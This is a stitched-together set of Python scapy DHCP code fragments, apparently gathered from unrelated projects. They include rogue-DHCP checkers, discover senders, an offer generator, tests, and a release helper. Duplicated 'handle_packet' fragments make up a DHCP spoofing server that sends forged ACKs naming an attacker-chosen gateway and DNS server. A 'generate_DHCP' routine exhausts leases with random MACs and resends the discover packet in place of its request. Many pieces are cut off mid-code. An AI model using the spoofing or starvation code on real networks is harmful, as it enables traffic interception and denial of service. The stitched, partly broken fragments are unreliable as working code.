def check_dhcp_on_eth(iface, timeout): """Check if there is roque dhcp server in network on given iface @iface - name of the ethernet interface @timeout - scapy timeout for waiting on response >>> check_dhcp_on_eth('eth1') """ scapy.conf.iface = iface scapy.conf.checkIPaddr = False dhcp_options = [("message-type", "discover"), ("param_req_list", utils.format_options([ 1, 2, 3, 4, 5, 6, 11, 12, 13, 15, 16, 17, 18, 22, 23, 28, 40, 41, 42, 43, 50, 51, 54, 58, 59, 60, 66, 67 ])), "end"] fam, hw = scapy.get_if_raw_hwaddr(iface) dhcp_discover = (scapy.Ether(src=hw, dst="ff:ff:ff:ff:ff:ff") / scapy.IP(src="0.0.0.0", dst="255.255.255.255") / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(chaddr=hw) / scapy.DHCP(options=dhcp_options)) ans, unans = scapy.srp(dhcp_discover, multi=True, nofilter=1, timeout=timeout, verbose=0) return ans
def check_dhcp_request(iface, server, range_start, range_end, timeout=5): """Provide interface, server endpoint and pool of ip adresses Should be used after offer received >>> check_dhcp_request('eth1','10.10.0.5','10.10.0.10','10.10.0.15') """ scapy.conf.iface = iface scapy.conf.checkIPaddr = False fam, hw = scapy.get_if_raw_hwaddr(iface) ip_address = next(utils.pick_ip(range_start, range_end)) # note lxc dhcp server does not respond to unicast dhcp_request = (scapy.Ether(src=hw, dst="ff:ff:ff:ff:ff:ff") / scapy.IP(src="0.0.0.0", dst="255.255.255.255") / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(chaddr=hw) / scapy.DHCP(options=[("message-type", "request"), ("server_id", server), ("requested_addr", ip_address), "end"])) ans, unans = scapy.srp(dhcp_request, nofilter=1, multi=True, timeout=timeout, verbose=0) return ans
def dhcp(self): packet = (s.Ether(dst="ff:ff:ff:ff:ff:ff") / s.IP(src="0.0.0.0", dst="255.255.255.255") / s.UDP(sport=68, dport=67) / s.BOOTP(chaddr=s.RandString(12, 'acbedf1032547698')) / s.DHCP(options=[("message-type", "discover"), "end"]) ) s.sendp(packet, iface=self.iface, count=1)
def send_dhcp_over_qbr(self, qbr_device, port_mac): """Send DHCP Discovery over qbr device. """ ethernet = scapy.Ether(dst='ff:ff:ff:ff:ff:ff', src=port_mac, type=0x800) ip = scapy.IP(src='0.0.0.0', dst='255.255.255.255') udp = scapy.UDP(sport=68, dport=67) port_mac_t = tuple(map(lambda x: int(x, 16), port_mac.split(':'))) hw = struct.pack('6B', *port_mac_t) bootp = scapy.BOOTP(chaddr=hw, flags=1) dhcp = scapy.DHCP(options=[("message-type", "discover"), "end"]) packet = ethernet / ip / udp / bootp / dhcp scapy.sendp(packet, iface=qbr_device)
def send_dhcp_over_qvb(self, port_id, port_mac): """Send DHCP Discovery over qvb device. """ qvb_device = utils.get_vif_name(constants.QVB_DEVICE_PREFIX, port_id) ethernet = scapy.Ether(dst='ff:ff:ff:ff:ff:ff', src=port_mac, type=0x800) ip = scapy.IP(src='0.0.0.0', dst='255.255.255.255') udp = scapy.UDP(sport=68, dport=67) port_mac_t = tuple(map(lambda x: int(x, 16), port_mac.split(':'))) hw = struct.pack('6B', *port_mac_t) bootp = scapy.BOOTP(chaddr=hw, flags=1) dhcp = scapy.DHCP(options=[("message-type", "discover"), "end"]) packet = ethernet / ip / udp / bootp / dhcp scapy.sendp(packet, iface=qvb_device)
def send_packet(self, iface, src_mac, src_ip, src_port, dst_mac, dst_ip, dst_port): ethernet = scapy.Ether(dst=dst_mac, src=src_mac, type=0x0800) ip = scapy.IP(src=src_ip, dst=dst_ip) udp = scapy.UDP(sport=int(src_port), dport=int(dst_port)) port_mac_t = tuple(map(lambda x: int(x, 16), src_mac.split(':'))) hw = struct.pack('6B', *port_mac_t) bootp = scapy.BOOTP(chaddr=hw, flags=1) req = '' for i in xrange(1, 255): req += chr(i) dhcp = scapy.DHCP(options=[("message-type", "discover"), ('param_req_list', req), "end"]) packet = ethernet / ip / udp / bootp / dhcp scapy.sendp(packet, iface=iface, verbose=0)
def send_dhcp_over_qvb(iface, src_mac, srcip, dst_mac, dstip): """Send DHCP Discovery over iface. """ ethernet = scapy.Ether(dst=dst_mac, src=src_mac, type=0x0800) ip = scapy.IP(src=srcip, dst=dstip) udp = scapy.UDP(sport=68, dport=67) port_mac_t = tuple(map(lambda x: int(x, 16), src_mac.split(':'))) hw = struct.pack('6B', *port_mac_t) bootp = scapy.BOOTP(chaddr=hw, flags=1) req = '' for i in xrange(1, 255): req += chr(i) dhcp = scapy.DHCP(options=[("message-type", "discover"), ('param_req_list', req), "end"]) packet = ethernet / ip / udp / bootp / dhcp scapy.sendp(packet, iface=iface)
def _get_dhcp_discover_message(iface): dhcp_options = [("message-type", "discover"), ("param_req_list", utils.format_options([ 1, 2, 3, 4, 5, 6, 11, 12, 13, 15, 16, 17, 18, 22, 23, 28, 40, 41, 42, 43, 50, 51, 54, 58, 59, 60, 66, 67 ])), "end"] fam, hw = scapy.get_if_raw_hwaddr(iface) dhcp_discover = (scapy.Ether(src=hw, dst="ff:ff:ff:ff:ff:ff") / scapy.IP(src="0.0.0.0", dst="255.255.255.255") / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(chaddr=hw) / scapy.DHCP(options=dhcp_options)) return dhcp_discover
def handle_packet(packet): eth = packet.getlayer(scapy.Ether) ip = packet.getlayer(scapy.IP) udp = packet.getlayer(scapy.UDP) bootp = packet.getlayer(scapy.BOOTP) dhcp = packet.getlayer(scapy.DHCP) dhcp_message_type = None if not dhcp: return False for opt in dhcp.options: if opt[0] == "message-type": dhcp_message_type = opt[1] # dhcp request if dhcp_message_type == 3: client_ip = client_net + str(random.randint(2, 254)) dhcp_ack = scapy.Ether(src=eth.dst, dst=eth.src) / \ scapy.IP(src=dhcpserver, dst=client_ip) / \ scapy.UDP(sport=udp.dport, dport=udp.sport) / \ scapy.BOOTP(op=2, chaddr=eth.dst, siaddr=gateway, yiaddr=client_ip, xid=bootp.xid) / \ scapy.DHCP(options=[('message-type', 5), ('requested_addr', client_ip), ('subnet_mask', '255.255.255.0'), ('router', gateway), ('name_server', nameserver), ('end')]) print "Send spoofed DHCP ACK to %s" % ip.src scapy.sendp(dhcp_ack, iface=dev)
def generate(self, cha_mac=None, dst_ip=None): """Generates a DHCP offer packet. Args: cha_mac: hardware target address for DHCP offer (Optional) dst_ip: ipv4 address of target host for renewal (Optional) """ # Create DHCP layer dhcp = scapy.DHCP(options=[ ('message-type', 'offer'), ('subnet_mask', self.subnet_mask), ('server_id', self.src_ipv4), ('end'), ]) # Overwrite standard DHCP fields sta_hw = (cha_mac if cha_mac is not None else self.dst_mac) sta_ip = (dst_ip if dst_ip is not None else self.dst_ipv4) # Create Boot bootp = scapy.BOOTP(op=DHCP_OFFER_OP, yiaddr=sta_ip, siaddr=self.src_ipv4, giaddr=self.gw_ipv4, chaddr=scapy.mac2str(sta_hw), xid=DHCP_TRANS_ID) # Create UDP udp = scapy.UDP(sport=DHCP_OFFER_SRC_PORT, dport=DHCP_OFFER_DST_PORT) # Create IP layer ip4 = scapy.IP(src=self.src_ipv4, dst=IPV4_BROADCAST) # Create Ethernet layer ethernet = scapy.Ether(dst=MAC_BROADCAST, src=self.src_mac) self.packet = ethernet / ip4 / udp / bootp / dhcp return self.packet
if not dhcp: return False for opt in dhcp.options: if opt[0] == "message-type": dhcp_message_type = opt[1] if dhcp_message_type == 3: client_ip = client_net + str(random.randint(2, 254)) dhcp_ack = scapy.Ether(src=eth.dst, dst=eth.src) / \ scapy.IP(src=dhcpserver, dst=client_ip) / \ scapy.UDP(sport=udp.dport,dport=udp.sport) / \ scapy.BOOTP(op=2,chaddr=eth.dst, siaddr=gateway, yiaddr=client_ip, xid=bootp.xid) / \ scapy.DHCP(options=[('message-type', 5),('requested_addr', client_ip),('subnet_mask', '255.255.255.0'),('router', gateway),('name_server', nameserver),('end')]) print "Send spoofed DHCP ACK to %s" % ip.src scapy.sendp(dhcp_ack, iface=dev) def usage(): print sys.argv[0] + """ -d <dns_ip> -g <gateway_ip> -i <dev> -s <dhcp_ip> """ sys.exit(1)
def test_get_dhcp_mt(self): dhcp = scapy.DHCP(options=[("message-type", "discover"), "end"]) pkt = scapy.Ether() / scapy.IP() / scapy.UDP() / scapy.BOOTP() / dhcp message = self.scapy_dri.get_dhcp_mt(str(pkt)) self.assertIn(message, constants.DHCP_MESSATE_TYPE)
def dhcp_release(ip, hw, server): x_id = random.randrange(1, 1000000) hw_str = scapy.mac2str(hw) dhcp_release_pkt = scapy.IP(src=ip, dst=server) / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(ciaddr=ip, xid=x_id, chaddr=hw_str) / scapy.DHCP(options=[('message-type', 'release'),('server_id', server), ('end')]) scapy.send(dhcp_release_pkt, verbose=0)
def generate_DHCP(): global all_given_leases x_id = random.randrange(1, 1000000) hw = "00:00:5e" + str(scapy.RandMAC())[8:] hw_str = scapy.mac2str(hw) # print(hw) # print(hw_str) dhcp_discover_pkt = scapy.Ether(dst='ff:ff:ff:ff:ff:ff', src=hw) / scapy.IP(src='0.0.0.0', dst='255.255.255.255') / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(op=1, xid=x_id, chaddr=hw_str) / scapy.DHCP(options=[('message-type', 'discover'), ('end')]) ans, unans = scapy.srp(dhcp_discover_pkt, iface=interface, timeout=2.5, verbose=0) # print(ans) # print(unans) # print(ans.summary()) # print(ans[0][1][scapy.BOOTP].yiaddr) offered_ip = ans[0][1][scapy.BOOTP].yiaddr dhcp_request_pkt = scapy.Ether(dst='ff:ff:ff:ff:ff:ff', src=hw) / scapy.IP(src='0.0.0.0', dst='255.255.255.255') / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(op=1, xid=x_id, chaddr=hw_str) / scapy.DHCP(options=[('message-type', 'request'),('requested_addr', offered_ip), ('end')]) ans, unans = scapy.srp(dhcp_discover_pkt, iface=interface, timeout=2.5, verbose=0) # print(ans) # print(unans) # print(ans.summary()) # print(ans[0][1][scapy.BOOTP].yiaddr) # print(ans[0][1][scapy.IP].src) offered_ack_ip = ans[0][1][scapy.BOOTP].yiaddr server_ip = ans[0][1][scapy.IP].src all_given_leases.append(offered_ack_ip) server_id.append(server_ip) client_mac.append(hw) return all_given_leases, server_id, client_mac
import unittest from mock import patch from scapy import all as scapy from dhcp_checker import api dhcp_options = [("message-type", "offer"), "end"] request = ( scapy.Ether(), scapy.Ether(src="", dst="ff:ff:ff:ff:ff:ff") / scapy.IP(src="0.0.0.0", dst="255.255.255.255") / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(chaddr="") / scapy.DHCP(options=dhcp_options) ) expected_response = { 'dport': 67, 'gateway': '172.18.194.2', 'iface': 'eth1', 'mac': '00:15:17:ee:0a:a8', 'message': 'offer', 'server_id': '172.18.208.44', 'server_ip': '172.18.194.2', 'yiaddr': '172.18.194.35' } class TestDhcpApi(unittest.TestCase):